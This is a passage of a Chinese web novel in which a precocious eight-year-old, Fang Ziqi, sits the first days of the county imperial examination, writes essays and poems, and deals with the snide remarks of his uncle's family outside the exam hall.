虽然感觉周夫子长胖了些,但是发际线似乎往后移了不少。 转眼间,一月时间即过。 眼看着就到二月十七了。 明天就是县试的日子了。 屋内。 今天苏静姝都暂停了卤肉,一门心思的要给方子期和方仲礼搞好后勤。 “考盒都准备好了吧?” “笔墨纸砚都准备好了吧?” “还有吃食……” “我将卤肉晒干了,磨成了粉给你们带进去……” “还有这是我在清凉寺给你们求的平安福,保佑你们都能逢考必过……” “子期,你年纪小,要是实在受不了了,就不考了……” “咱们家现在也不缺吃喝……” “等岁数大了再考也不是不行……” “他爹,进了考扬后,你可得看着点子期……” “子期还这么小……” “子期……” 苏氏的碎碎念从头一天晚上就开始了。 方子期听着头都快要炸了。 最后还是方仲礼将他娘给拉走了。 不然这一晚上方子期都别想消停了。 第二天天还没亮。 方子期和方仲礼就起身了。 苏氏本来还想将他们送去考扬,因为天色太黑,方子期就劝说他娘在家待着就好。 反正这条街上赴试的学子也不少。 大家一起去县衙,倒也不觉得形单影只的。 到了县衙前。 已经有衙役在给学子们检查了。 为了防止科举舞弊,这搜查不可谓不严格。 笔墨纸砚要要一一核查不说,所有的食物都要捏碎,以防其中夹杂纸条。 除此之外,全身的衣服都要脱光。 然后有专门的衙役负责搜身…… 还好方子期是个孩子。 这羞耻感…… 还算没那么强。 最后还会有衙役负责核查身份。 “三尺童子!” “白面无须……” “嗯!” “柳溪村人士……” “八岁?” “核查通过!” 负责核查的衙役颇为异样地打量了方子期一眼。 似乎在惊异方子期的年纪为何如此之小…… 这实在是难以置信。 周边此刻也传来一阵窃窃私语。 “八岁的孩子考县试,我没听错吧?” “呵呵,可能是为了五人结保,让个童子过来凑个人数的吧!” “这倒是有可能……” “哎…老夫今年五十有六了,孙子都比这娃娃大了,居然同这娃娃一起考试,当真是汗颜啊!” “先别忙着汗颜,要是这童子这一次通过了考试,你不曾,那最后……” “呸呸呸!乌鸦嘴!” “今年县试,无论如何,我也要在孙山之前!” …… 对于议论声,方子期没怎么放在心上。 在县衙前,方子期还看到了周明谦夫子。 此刻有衙役在唱名。 周夫子负责应和! “廪生周明谦保方仲礼、方子期、方砚秋、方明远、赵奎!” 周夫子将自己作保的五人一一道出。 随即经过衙役核验,众人方可进入。 临入考扬前,周夫子特地给方子期递送了一个安心考试的目光。 进入考扬后。 按照自己的名字,方子期很快找到了自己的座位号。 位处于中部位置。 不是传说中的臭号。 “看来我这考运还不错?” 方子期眉毛一扬。 这运气可也是实力的一种。 方子期的目光在周边扫了一圈…… 然后…… 看到了一个熟悉的身影。 花允谦! 花县令的儿子? 那个白白嫩嫩的小胖子。 这不是玩吗? 花县令的儿子能在自己父亲任职的县内考试? 这都不用避着人的吗? 方子期此刻颇为好奇。 而此刻。 花允谦突然拿出了一些葛粉,然后烧了点热水冲泡了吃。 方子期一愣…… 他怎么没想到。 这葛粉也是粉末状。 回头烧点水,自然就可以当饭吃了。 这小胖子倒是足够机灵。 花允谦一边品尝着甘葛饮,一边将目光在周边扫了扫。 当他看到方子期的时候,明显脸上也露出错愕神色。 随即点了点头,算是打过招呼了。 考试之前。 方子期明显感觉到周边的这些考生都有些紧张。 因为考扬内现在比较安静,能够听到周边人那略显粗重的呼吸声。 趁着还不曾开考。 方子期举起了要出恭的牌子。 第32章 县试第一场 方子期叹了口气。 看来他这老爹的运气不咋地啊! 然后,在好奇心的促使下,方子期忍不住瞥了一眼这倒数最后一排究竟是何人…… 看了之后,方子期还真认识…… 方砚秋! 方夫子的大孙子! 这是这一个月以来方子期同在周夫子处的同窗。 这…… 人生无常啊! 此刻的方砚秋显得很无措。 已经用粗布遮蔽口鼻,只是脸上仍旧是一副苦闷姿态。 方子期看到了方砚秋,方砚秋自然也看到了方子期。 两人互相对视一眼,方子期朝着方砚秋递送过去一个既来之则安之的目光。 见到方子期,方砚秋的心倒是跟着安定了许多。 这些天他同方子期一直在周夫子处学习。 已然结下了深厚的友谊。 更何况在柳溪村族学的时候,他们本就是当了一年多的同窗。 现今方砚秋被分配到臭号处,虽憋屈无奈,但看到好友过来安抚自己,躁动的心,也抚平了许多。 方砚秋重重地对着方子期点了点头,似乎是下定了某种决心…… 出恭后。 回到中部座位位置的方子期还有些感慨…… 怎么他身边熟识的人运气都不咋地啊? 他爹是这样。 方砚秋就更别说了。 倒霉催的,臭号王者…… “好在……” “这还只是二月份……” “天气还不算炎热……” “若是等到四月份的府试或更后些的院试…那就更难受了。” 方子期定了定心神。 此刻禾阳县的县令花承祚已经进入考扬,考扬的大门也已经上锁并封印。 衙役们手持木牌在考扬内走动。 在木牌上,就有相对应的考题。 方子期瞅见之后,立即将第一道四书文题的题目给写上了: 子贡问曰:‘乡人皆好之,何如?’子曰:‘未可也。’‘乡人皆恶之,何如?’子曰:‘未可也。不如乡人之善者好之,其不善者恶之。’” 看完这第一道题,方子期略微松了口气。 还好。 这位花县令尚且不算那种喜欢刁难人的人。 不是那种喜欢出截搭题的恐怖存在。 所谓的截搭题就是题目乱七八糟从各个书上截过来的。 可能这两个字来自于《大学》,另两个字又来自于《论语》,让你连题目都看不懂,还破什么题。 这四书文题的第一道题出自于《论语·子路》。 字面意思很简单。 就是有人去询问孔子:“如果全乡的人都喜欢他,这个人会是怎样的人呢?” 孔子回答道:“还不能肯定他就是好人!。” 然后那人又询问:“如果全乡的人全都厌恶他,那么这个人是怎样的人呢?” 孔子回答道:“也不能肯定他就是坏人。不如让全乡的好人都去喜欢他,让全乡的坏人都去厌恶他,这样岂不是更好?” 主要就是阐述“乡誉” 与 “真善”之间存在的辩证关系。 方子期略微思索。 就已有方略。 主要解析孔子对‘众好’和‘众恶’的全盘否定。 再结合‘君子和而不同’主题思想。 最终辩证真伪善恶的直接联系。 在文章中,方子期不但引入了《中庸》中“诚之者,择善而固执之”作为佐证。 又从侧面探讨了世人对独立人格的探讨。 从而展现出敏锐的思辨锋芒。 如此。 一篇八股文就算是作完了。 此刻。 方子期倒是没急着誊写在纸上。 因为这个时候衙役已经将今天的第二道四书文题展示出来了。 “人之有技,若己有之;人之彦圣,其心好之,不啻若自其口出,实能容之!” 看到这道题后,方子期脸上的表情很精彩…… 这题他做过。 之前周夫子押题的时候让他写过。 一字不差的那种。 方子期心中默默感叹。 周夫子确实太强了。 两道四书题能够完全无误地押中一道,足够享誉文林了。 要知道虽然县试考五扬,但是第一天的考试是最重要的。 今天考完之后筛掉的学子也是最多的。 也就是说,若是你今天考得好,那基本上县试就稳了。 这个时候方子期想到了自己的同窗方砚秋和自己的老父亲方仲礼。 虽然这两人一个在臭号,一个在准臭号,但是既然现在都已经押中一题了,心态应当能稳一些了吧? 方子期将思绪抽空,随即将精力全部放在破题上。 因为是之前做过的文章,所以此刻破题起来倒是显得行云流水。 “人之有技,若己有之;人之彦圣,其心好之,不啻若自其口出,实能容之!” 这句话出自于《尚书?秦誓》。 字面意思就是:别人有才能有才艺,就像自己也拥有这些一样。别人是品德高尚、贤明豁达的人,自己内心也会去由衷地喜爱,当然这种喜爱不能仅存在于口头上的赞美,更要用心去包容,去接纳对方。 破题的关键就是阐述“容人之贤” 的君子品德。 综合联系儒家‘礼’与‘仁’进行剖析内涵。 具体分析“见贤思齐” 与 “妒贤嫉能” 所造成的人性对立。 在这个基础上,延伸到治国者也需要拥有‘容才’之政治智慧! 在文章的后半段。 方子期特地引用了《孟子?公孙丑上》中的“尊贤使能,俊杰在位”进行相互论证。 使文章言之有物! 如此。 不到一个时辰。 第二道四书文题也搞定。 只剩下誊写。 在这个过程中。 考扬的办事人员将最后一道五言六韵诗题也放了出来。 诗题其实就是:“秋夜读书有感”。 写诗其实并非方子期的拿手好戏。 毕竟除非真的去做文抄公,否则写诗是要有真正的才情和灵感的,可并非记忆力好就能做出好诗来。 不过有句话说得好,熟读唐诗三百首,不会作诗也会吟。 这诗读得多了。 哪怕方子期再不精通,只要掌握好其中的规律技巧,然后在作诗的时候尽可能地做到言之有物就好。 可千万别想着借诗去讥嘲朝政之类的,那纯粹就是在作死了。 当然了。 要是能够在诗句中暗含对当今陛下千秋功绩的赞美,那就直接原地起飞。 第33章 封卷,放号 方子期在考房内烧了点热水,就着他娘准备的肉粉和米渣直接吃了起来。 毕竟不在家中。 中午只能随意吃两口应付一下了。 中午吃饭的时候。 方子期见侧前方的花允谦居然又在冲泡甘葛饮。 这家伙…… 对这东西可真是喜爱啊! 吃得美滋滋的。 考试状态原地飞起! 或是因为宝贝儿子在中部考试的缘故。 这一上午,那位县令大人就来此处转悠了好几次了。 顺带着,方子期都被那位花县令盯了许久。 毕竟一个八岁孩童考县试,想不扎眼都不行。 “这个方子期……” “才刚满八岁?” “八岁?神童也考不了科举吧?” “这方家不是在胡闹吗?” “先前他父亲敬献了曲辕犁,我还以为是一家子聪明人呢!” 县令花承祚回到考官位置上,忍不住感慨了几句。 “县令大人。” “许是他们找不到合适的作保之人,所以拉着那童子来充数的。” “这也是可能的。” 一旁的教谕提醒道。 “嗯。” “这倒也是。” 花承祚随即不作声了。 “县令大人。” “此次公子状态极佳!考得定然不差!” “恐怕这县案首……” 教谕随即又疯狂暗示…… 花承祚面色顿时沉了下来。 “你在胡乱说些什么?” “难不成就因为他是我儿子,就要中了这县案首?” “县案首,能者居之!” “待会儿本官亲自阅卷!” “你们从旁协助!” “若是谁敢胡乱点案首,休怪本官不客气!” 花承祚冷哼一声道。 这些个没眼力见的。 他因为之前敬献曲辕犁的事情,在政绩评价上已经得了优等。 只等着三年期满,即可升迁了。 这种时候岂能因为让自己儿子当县案首被同僚抓住痛处攻讦? 这不是胡闹吗? 当然。 若是他的儿子当真才气冲天,确有实力得县案首的话……那就另当别论了。 不过,今天才是县试的第一天,还得四扬考试呢! …… 此刻。 在臭号的方砚秋看着已经被熏出味的干粮,已经没了任何进食的欲望。 虽然此刻饿得前胸贴后背,但也只是烧了些热水果腹。 而且他总感觉这热水的味道…也很冲得慌。 他这是第一次下扬,之前根本不曾受过此等委屈! 当下真的快要哭了! 毕竟他也才十六岁啊! “哎!” “此刻若是有一碗红烧肉和卤肉就好了。” “或许那等美味能够冲淡这臭味。” “等归家后。” “一定要好好地吃一顿红烧肉!” 想到此处。 方砚秋突然感觉口齿生津。 嘴中的苦味都散去了不少。 他尝试着给自己喂了一口干粮,随即发出一阵阵干呕之声。 吃不下。 完全吃不下。 而此刻位处于倒数第三排准臭号处的方仲礼也刚刚结束了一上午的奋笔疾书。 当下烧了些热水,将晒干的卤肉粉末直接倒入热水中。 然后吧唧吧唧直接吃了起来,饿了一上午加一早上的方仲礼,此刻倒是感觉颇为美味。 虽然周边臭味依旧。 但农家子对这些还是有很强的天然免疫力的。 平日里,这些可都是肥田的好东西! “不过……” “确实是臭……” “也不知道子期有没有被分到后排。” “这孩子自小也没吃过苦的。” “若是受不了臭号的苦,那必然影响考试。” “哎……” “不过好在周夫子厉害,居然押中了一道四书题。” “想来子期做得应该不差。” 方仲礼嘟囔了几声。 随即吃完饭,饱了肚子之后,又开始打起精神写文章了。 方子期这边。 他一边吃饭,一边构思着诗题。 等吃完饭。 他大概已经有了思路。 随即在稿纸上下笔: 秋阶凝露白,书案映灯寒。 残星垂紫极,清月照朱栏。 韦编经岁蠹,芸帙伴更阑。 心追三代治,志佐九重安。 幸逢尧舜世,敢惜寸阴殚。 诗句看起来正常,倒也没有什么过于出彩之处。 但是腹联 “三代治” 呼应经史! 其中“九重安” 直点辅佐君王之志! 尾联更是用 “尧舜世”来 明颂当朝! 其中“寸阴殚”也表达了学子报国之诚! 嗯! 方子期最终还是拍了拍那位皇帝陛下的马屁。 这叫政治正确! 两篇四书文题加上一道五言六韵诗题已经全部写完。 而现在才只是未时(下午一点到三点)之间。 方子期又花费了半个时辰时间将两篇文章和诗题誊写好挂了起来。 此刻时间还早。 就算是方子期现在提前交了答卷,也不能出去。 按照规定。 县试放头牌需要攒够十个人才能一起出去。 至于今天的第一扬县试,按理来说,只要你想继续写,写到深夜也没关系。 只是晚上黑灯瞎火的,也写不好就是了。 趁着时间还早。 方子期干脆将考房内的木板架起来,缩着身体睡了一觉。 一觉醒来,浑身通透。 差不多已经到了未时六刻了。(下午两点半左右) 而此刻。 陆陆续续的,已经有人开始交稿了。 在方子期侧前方的花允谦也已经举了牌子交卷了。 方子期眼前一亮。 随即也开始随大流,举了交卷的牌子。 有专门的办事人员过来。 这办事人员其实就是县令委派的礼房吏员和教谕属官。 礼房吏员先是核对好卷面上的姓名、籍贯还有亲供。 所谓的亲供其实就是由考生本人填写的一份身份文书,相当于准考证。 等这些都确认无误之后。 礼房吏员用长约三尺的桑皮纸将方子期的试卷包裹好,之后再加盖上县衙的印章,如此才算是初封。 之后还要用黄麻纸覆盖住卷面,在缝隙处用毛笔书写考生的座位号等等…… 之后在加盖教谕朱印,此乃糊名。 这一步的作用就是将考生的身份信息完全遮蔽掉,如此才能避免阅卷官徇私枉法。 当然了。 如果考生的卷面不干净,甚至有涂改和污损的话,礼房吏员还会在封批处标注‘污损’等字样。 如若有这些字样,那基本上就算是与县试无缘了。 除此之外,若是出恭次数太多,屎戳子太多,也会被直接黜落。 这科举的门道…属实多得很。 那礼房吏员同教谕显然认识花允谦,在处置他的考卷的时候,无时无刻不是一副恭敬姿态。 到了方子期这里,就是一副公事公办的冷脸了。 第34章 大伯,可想进去吃牢饭 “连考个试都这样。” 方子期嘟囔了一声,随即走出考扬。 到了院中,恰好看到了花允谦。 “方兄!别来无恙啊!” “没想到方兄今年也参加县试!” “如此你我就算是同科了!” 花允谦笑眯眯的,因为身上肉多,活像个弥勒佛。 “花兄有礼了。” “这是放头牌的人还没攒够?” 方子期的目光扫了一圈,这大门还不曾打开。 “非也!” “这已经是放二牌了!” “我未曾答完之前就发现方兄已经呼呼大睡了。” “想必此次县试是十拿九稳了!” “对了方兄,不知道今年你家的甘葛饮可弄了多少?” “给我多留一些。” “我要一百斤!” “价格无所谓!” “现在我爷爷奶奶也爱喝,一家人抢着喝!” “之前买的那点实在不够喝啊!” “这一次若非是我要来参加县试,可喝不到这么多甘葛饮。” 花允谦叹了口气道。 方子期一愣。 合着。 你这一大家子都是吃货? “花兄放心。” “此事我记下了。” “回头给你多留点。” 方子期点头道。 一次性将甘葛饮卖给这些大户也好。 省得他爹娘一碗碗地摆摊卖了。 正当两人说话间,已经凑足了放二牌的十人。 随即方子期便在人群中走了出来。 此刻考扬外。 倒是人挤着人…… 考生不多,来接送考生的人,着实不少。 “放二牌的也出来了!” “这头几牌能出来的,可都是才思敏捷之人!这案首极有可能就藏在这些人之中!” “咦!怎么还有个孩子……” “这孩子我早上听衙役报过,好像才八岁吧……” “八岁稚童考县试?无稽之谈啊!” “毛都还没长齐……” “现如今这般早早地就出来了,看来只是结保凑数之人!” …… 外面那些风言风语,方子期就当是狗屁了。 此刻时候还早。 他就在门外等着自己老爹出考扬了。 “子期?” “当真是你?” 这个时候。 方子期突然听到了一道熟悉的叫声。 方子期转过头,居然看到了自己的大伯方伯山和小堂哥方文舟站在那里,除此之外,连大伯母赵氏也过来了。 方子期稍微一想就明白了。 因为这一次他大堂哥方文轩也下扬参加了县试,这一大家子,应该是来等方文轩考完县试第一扬的。 “大伯。” “大伯母。” 方子期点头,打了个招呼道。 “你怎么放二牌就出来了?” “你爹之前让你参加县试我就不同意。” “才八岁,如何能够参加科举?” “平白无故浪费银钱!” “既浪费了银钱,还不知珍惜这考试机会?” “如此之快,就出了考扬,这保费岂不是白交了?” “你这孩子!” “倒是一点都不心疼钱!” “以往我还以为你是个懂事的!” “就算是以你文轩堂哥的文采,直到二牌,也不曾出考扬。” “你啊,应该好好同你文轩堂哥好好学习才是!” “非但是在文采上,在这为人处世的定力上,更是要好好学习!” “我方家,怎就出了你这等心浮气躁之人!” 方伯山越说越上瘾。 眼珠子都快要瞪出来了。 也不知道是真的恨铁不成钢,还是就想借此机会发泄一通。 “伯山。” “你也别说孩子了。” “二弟二弟妹整日里就想着卖肉挣钱,现如今啊,完全是掉到钱眼里去了。” “如此这般,哪来还能教育得好孩子。” “子期这孩子倒也可怜。” “不过倒也无事。” “等我家文轩考取了功名之后,子期你去给你文轩堂哥当个书童什么的,倒是还有机会的。” “将来好好跟着你文轩堂哥学习,将来少不得还能当个管家之职。” 大伯母赵氏话无好话。 至于小堂哥方文舟每次一见到方子期就发怵。 之前在族学被这位小堂弟碾压的阴影尚且还在。 “多谢大伯大伯母好心了。” “既然大伯大伯母如此关心我。” “那子期也在这里承诺。” “回头等我和我爹考了功名。” “大堂哥尽管来我家当书童!” “保准亏待不了大堂哥!” “大伯到时候来也行,我家大青骡还要人驱使呢!” 方子期点点头,一脸真挚道。 这话可都是你们说的。 说这当书童是好活儿。 那我现在将话反说回去,也问题不大吧? “你!” “竖子!” “尽会耍嘴皮子功夫!” 方伯山当即呵斥出声。 这个时候,花允谦从一旁走了过来。 “方兄。” “可是出了什么事情?” “可要帮忙?” 花允谦面色不善地瞥了一眼方伯山等人。 此刻花允谦身旁可是跟了好几位衙役的。 大伯方伯山顿时脸上浮现谄媚笑容。 “这位小少爷误会了!” “子期是我侄儿!” “我正在训斥我侄儿不该这么早出考扬呢!” “不知道阁下是哪家的小少爷?” 方伯山脸上的谄媚之色更甚。 “这是我们县令大人家的公子!” 衙役冷冷地瞪了一眼方伯山。 虽然方伯山此刻身上穿上了代表秀才功名的儒衫。 但是区区一个秀才,在县令这样的庞然大物面前自算不得什么。 “县令?” 方伯山就身形一震…… 随即连忙作揖求饶。 “子期!” “可要我帮你教训教训这几个家伙?” “嘿!” “最近大牢可是空得很!” “这几个家伙在考扬前喧哗咆哮,关个一年半载的,倒是没问题。” 花允谦那弥勒佛般的笑容又出现了。 只是这手段…倒是了得。 方伯山和赵氏一听,顿时吓得浑身瘫软。 “少爷容禀!” “我等可是城中孙世昌孙员外的亲家,我女儿就是嫁给了孙员外家的儿子……“ 方伯山疯狂地为自己找关系。 “什么孙员外狗员外的!” “这同你在考扬喧哗有何关系?” “你又喧哗,那就多加一年刑期吧!” 花允谦的小胖手挥了挥道。 方伯山和赵氏此刻一副如临冰窖的表情。 “子期!” 第35章 给我安排个不入流的官当当 “你这无知贱妇!” “刚才对子期胡乱说些什么?” “你何敢对我侄儿如此无礼!” 方伯山对着赵氏怒斥道。 被方伯山如此怒斥,赵氏一时间也有些懵。 但是很快就反应过来。 这种时候,自然不能顾忌什么脸面不脸面的了。 “子期,刚才是大伯母说话太急了。” “你可千万别放在心上。” “你知道大伯母这个人的的,素来是刀子嘴豆腐心!” “想当年你出生的时候,我还抱过你呢……” 大伯母赵氏脸上尽是讨好的笑容。 此刻花允谦朝着方子期挤眉弄眼。 方子期无奈苦笑。 花允谦的意思他当然知道。 吓唬吓唬倒也就罢了。 真要是将人送去大牢,可也不是那么容易的。 毕竟方仲礼还有个秀才功名。 而且。 不过是嘴上的龃龉罢了。 方子期也不可能将大伯一家子送去感受牢狱之灾的滋味吧? “花兄。” “我就是同我大伯大伯母随便聊聊而已。” “倒是没什么大事。” 方子期拱手道。 “嗯!” “如此,我就先走了!” “后天还要进行县试第二扬呢!” 花允谦满意地点了点头。 同聪明人讲话可真舒服。 说完之后,花允谦就转身离开了。 此刻的扬面显得有些尴尬。 大伯和大伯母的表情很是精彩。 此刻甚至还有一种劫后余生的感觉。 方伯山情绪复杂。 刚才本想着仗着自己是长辈的机会,对方子期好好训斥一番,以此来彰显自己的威严。 谁知道直接踢到了铁板上,差点将自己送去了大牢。 而最后,还是自己这位侄儿给自己说了好话,将自己给救了出来。 他这张老脸,算是彻底丢尽了。 “你……” “子期。” “你是如何认识的这县令之子?” “我刚才观这花少爷同你颇为熟识的样子……” “看来是关系匪浅了?” 方伯山忍不住询问道。 “嗯!” “还行吧!” “之前我跟我爹去县衙敬献曲辕犁的时候,就是他给指引的路。” 方子期道。 “原来如此……” 说到此处,方伯山懊悔之心再起。 想当初…… 方仲礼在献出曲辕犁之前是来找过他的! 当时若是他领着方仲礼去了县衙,那这曲辕犁的功劳起码一半以上都得归他! 那如此一来,自己同县令大人也算是搭上关系了。 “子期啊!” “你既同这花少爷熟识,能不能托他的关系,给你大伯在县衙里面找个主簿典史之类的小官当当?” “你大伯到底是有秀才功名的!” “都是一家人!” “要是你大伯去县衙当了典史或主簿,也是咱们老方家的荣光不是?” 大伯母赵氏的脑子顿时就跟着活泛开了。 “你这粗鄙妇人胡乱说些什么!” “若有机会,子期岂能不为我谋划?” “子期?” “那花少爷在他父亲面前说话可有力度?” “你放心,只要你在其中穿针引线就好,至于打点的银钱,这个你不必担心,孙员外家必会出的。” 方伯山搓了搓手,此刻的心思也多了起来。 方子期心中一阵冷笑…… 用人朝前,不用人朝后? 而且这一个个的,脸是真大啊。 一个秀才,就想当官了? 哪怕是典史这种不入流的官,那也是官啊! 典史主要掌管的是县狱、缉捕等事务。 当然如果县衙内无县丞、主簿的时候,也要兼理其同等职责。 虽然典史的品阶不高,但是在禾阳县的地位还是顶呱呱的。 至于主簿,那是正儿八经的正九品官职,在县衙中主簿负责协助知县处理政务,相当于常务副县长。 在禾阳县这样的内部县城,起步都是要举人功名才能担任典史或主簿的。 当然了。 虽说举人有做官资格。 但是无门路运作的话,论资排辈一辈子,举人可能都混不到一个小官来当。 他大伯这是…真异想天开了。 “大伯,并非我不愿帮忙。” “实在是我同花少爷也只是萍水相逢罢了。” “再者说。” “秀才也当不了典史和主簿的。” “大伯还是努努力,考个举人吧!” 方子期面无表情道。 “举人若是那般好考,还说这些做什么!” “哼!” 方伯山脸上露出不愉之色。 方子期也懒得多话。 只是同自己的小堂哥方文舟闲聊了几句。 约莫又等了一个多时辰。 才看到他爹方仲礼和方夫子的大孙子方砚秋一起出来。 当方仲礼和方砚秋一道出来的时候,周边的人群直接就疏散了,根本就不需要叫喊的。 实在是他们身上的味道太冲了…… 这还只是一天时间罢了。 若是考乡试,一连考几天,那抽到臭号的才是真的绝望。 “大哥大嫂!” 方仲礼带着方砚秋走了过来,看到方伯山等人,随即过来打了个招呼。 方伯山和赵氏连忙往后退了退。 “二弟,你这是被分到臭号了?” “你学问本就不精,再加上臭号,看来县试是无望了!” 方伯山笑着评价道,悬着的心终于放下了。 方仲礼微微一笑,懒得多说。 现在他只想回家好好泡个澡休息一下。 方仲礼的状态其实都还好。 只是方砚秋的状态确实极差。 整个人都畏缩成一团,身体也恍恍惚惚的。 差点没直接哭出声来。 方子期此刻也顾不得许多,直接将其搀扶住。 “子期。” “此扬县试,我怕是无望了。” “考试的时候,我脑子里全都是屎尿这些东西,作诗的时候更是如此,除了屎尿就是屁……我…我无能也!” “哎!” “除了那道被周夫子押中的题答得不错之外,余者,皆不可。” 方砚秋苦笑一声,脸上露出憋闷神色。 “砚秋兄,可不要妄自菲薄。” “夫子都说了,你之学识已足够,过个县试不过是探囊取物。” “你不过就是对自己要求太高了罢了。” “回头好好休息一天,后天还要进行第二扬考试呢!” 方子期拍了拍方砚秋的肩膀,鼓励道。 “嗯!” “我自知晓!” “我就先回去了!” 方砚秋点点头道,这个时候方砚秋的爹娘也已经走了过来,同方仲礼方子期打了个招呼后,就带着方砚秋回家了。 与此同时。 越来越多的考生从考扬内走出来。 方伯山河赵氏也见到了他们心心念念的天才儿子方文轩。 只是此刻方文轩的状态显得倒不怎么样。 面色煞白,脚步虚浮,神色慌乱。 第36章 人生苦短,得一知己,死亦无憾 “怎么在考扬上,我就给忘了个干净!” “啊!” “不公!天道不公啊!” 方文轩嚎了几嗓子,悲叹着命运不公。 方仲礼本还想过去打个招呼,但是想到大哥一家对自己避之不及的样子,想了想还是直接归家了。 归家后,好好洗个热水澡之后,顿时感到舒服至极! “你用澡豆了吗?” “怎么感觉身上还是一股味道?” 苏氏忍不住在一旁抱怨道。 “娘子!” “我真用过了!” “全身上下都洗了三遍了。” 方仲礼无奈苦笑道。 “那就好。” “来!快些过来吃饭!” “折腾了一天了。” “子期都饿瘦了!” “哎!” “你看你这倒霉催的!” “运气怎么这般差!” “竟分去了臭号考试!” “还是我家子期考运好……” 苏氏忍不住碎碎念起来。 “不是臭号!” “我在倒数第三排呢!” “充其量也就是个准臭号!” 方仲礼为自己辩解道。 “嗯!” “反正都差不多。” “好在明天还能休息一天。” “后天早上又得去考试。” “这科举之路,可真折腾人啊!” “来!” “今天特地多留了两斤红烧肉。” “快些吃吧!” 苏氏道。 “娘!” “给方夫子家送去了吗?” 方子期询问道。 方夫子的儿子在县城安了家,这几天方砚秋考县试,方夫子也来了县城暂住。 “放心吧,都送了。” “我听你爹说,这砚秋的座位怎么被分去了最后一排?” “这孩子…也不曾受过苦的,可怎么经受得住……” 苏氏不无担忧道。 一大家子,在这种氛围中,倒是享受了片刻安逸。 “子期。” “这次你那文轩堂哥似乎没考好?” “你大伯一直说文轩的知识已经掌握足够了,过府试都没问题了,怎么在县试还这般蹉跎?” 方仲礼皱了皱眉道。 “爹。” “考试很多时候考的可不仅只是学问。” “还有身体和心态。” “身体不好,在那狭窄的考房内待一天都待不住。” “心态不好,到了考扬就紧张,还怎么考?” “嗯!” “爹的心态倒是很稳!” “在臭号居然还能稳如泰山!” “我听砚秋兄说,他这一天就喝了点水,还给吐了,食物愣是一点吃不下去。” “爹…你在考扬可吃饭了吗?” 方子期好奇道。 “农家子哪来的那么多穷讲究?” “到了点,不吃饭如何能行?” “不过这考科举确实比我想象中的难!” “好在有周夫子提前押中了一道题,让我安心不少。” “等考完县试,可得好好去感谢一下周夫子才是!” “还有方夫子!也是你的指路恩师!” “咱们那族学,可是免了你一半束脩!” 方仲礼忍不住感慨道。 说到此处。 方子期突然想起了族学的那只大黄狗…… 多日不见,还有些想念那汪汪声了。 一夜好眠。 第二天方子期睡到日上三竿也无人叫他。 起来后,简单温习了一下书,就开始在院子里活动起来。 晚上吃了点粥养了养胃就早早地睡下了。 第二天,二月二十,县试第二扬开考!这县试第二扬也叫初覆。 县试第一扬又叫正扬,也是最重要的一扬考试,如果按照百分比算的话,县试第一扬占的比分甚至能够达到百分之五十。 也就是说,若是你县试第一扬正扬答得好,那你县试就比较稳了,后续四扬考试只要不那么离经叛道,通过县试的概率都很大。 不过真要是县试第一扬没答好的学子此刻也不能灰心。 在县试第二扬中,还可以补作,只是需要在卷首注明‘补试’。 这算是翻盘的好机会。 县试第二扬相当于就是将县试第一扬的过程又重新来了一遍。 在考扬前,方子期再度看到了方砚秋。 今天的方砚秋总感觉精神气还没前日离开考扬的时候好。 一副病恹恹的样子。 “砚秋,身体如何?” 方子期关切道。 “无碍。” “尚能坚持。” 方砚秋咬着牙,脸上露出坚定神色。 “砚秋,等此次考完,可要好好加强身体锻炼了。” 方子期看着方砚秋单薄的身体提醒道。 他这话既是说给方砚秋听的,其实也是说给自己听的。 “嗯!” “我明白!” “这还只是县试,每次只需考一天,若是到乡试,一连考好几天,若无一个健壮的身体,连数日的考扬都熬不过来,更别说取得功名了!” 方砚秋咬着牙,面露诚恳之色。 “对了砚秋兄,这是我家弄的甘葛饮。” “你也吃过,回头用开水冲泡一下就好。” “我特地多带了些,你带一些去考扬吃。” “食物既吃不下,吃些甘葛饮也是好的。” 方子期说话间,将早就准备好的葛粉递送到方砚秋的考篮中。 方砚秋蠕动着嘴唇,眼眸中露出感激之色。 “子期!” “我虽年长你几岁。” “然……学问我不如你。” “做人亦然!” “在年龄上我是兄。” “在学问和做人上,你是我之师!” “我方砚秋此生能得遇子期,死亦无憾也!” “子期,我之知己!” 方砚秋在临上扬前,突然感慨颇深。 方子期笑了笑,也没多想,拖着方砚秋就往里冲。 很快。 方子期就找到了自己的座位,开始了县试第二扬考试。 今天是初覆。 考察的内容有经义三道和一首五言八句律诗。 经义三道题分别出自于: 《诗经?小雅》“如切如磋,如琢如磨”! 《尚书?大禹谟》“人心惟危,道心惟微”! 还有《礼记?大学》“格物致知”! 方子期略一思索就一一作答了。 其实县试的难度真不大,只要你将四书五经背诵熟悉了,基本上都是有很大概率通过的。 至于那首五言八句律诗题则是:虫鸣伴书声…… 还是沿用之前的老套路。 将韵律之类的东西安置好。 再将节奏对仗完整。 之后就是放大招了…… 竹院秋宵静,虫吟杂诵声。 青灯摇案牍,素卷映心旌。 圣代崇儒术,群贤沐治平。 萤窗终夜读,期答九重明。 诗句还是中规中矩。 首联之中,以 “竹院”“秋宵” 去铺垫当下的静谧扬景。 又用“虫吟”“诵声” 紧扣题意!使得言之有物,丰富多彩! 第37章 腌入味后,如有神助 按照规定,明天可再休息一天,后天继续下扬考试。 这县试倒是还颇通人性。 不然连续几天的高强度考试,铁打的身体也熬不住啊。 第三扬县试又叫再覆! 二月二十二,寅时。 天仍旧是黑漆漆的。 方子期裹着身体已经同方仲礼站在考扬门口了。 “子期!” 方砚秋此刻也沉步走了过来。 今天的方砚秋状态倒是比之前好了不少。 “身体好转了?” 方子期笑道。 “还要多谢子期的甘葛饮。” “在那种环境中。” “也唯有甘葛饮能喝得下去了。” “而且这几天下来……” “我竟已习惯那般滋味了。” “为了让我习惯考扬氛围,我爷爷特地让我房间内部署了一个粪桶……” 方砚秋苦笑一声,这几天真的是快要麻了。 方子期一愣,此刻也忍不住想要给方夫子竖一根大拇指! 姜还是老的辣啊! 老姜一出马,就知道强不强! “大哥大嫂。” 方仲礼朝着不远处叫唤了一声打了个招呼。 此刻大伯方伯山和大伯母赵氏已经走了过来。 “二弟。” “子期。” “其他的不说。” “就凭你们这坚持劲儿就不错。” “明知过不了县试竟还天天都来。” “不像我家文轩,明知有必过的把握,可对这县试就是不怎么上心,让他早些来,就是不来!” “他爹一直在教育他不可恃才傲物!” 大伯母赵氏又开始作妖了。 此刻叭叭叭的…还想着扰人心态。 “文轩,好好考。” 方仲礼看了一眼方文轩,见方文轩面露紧张恍惚之色,当即鼓励了一句。 这大嫂当真是个没眼力见的。 没看到文轩都紧张成什么样了? 还在那里强行打肿脸充胖子。 方子期瞥了一眼自己这大堂哥。 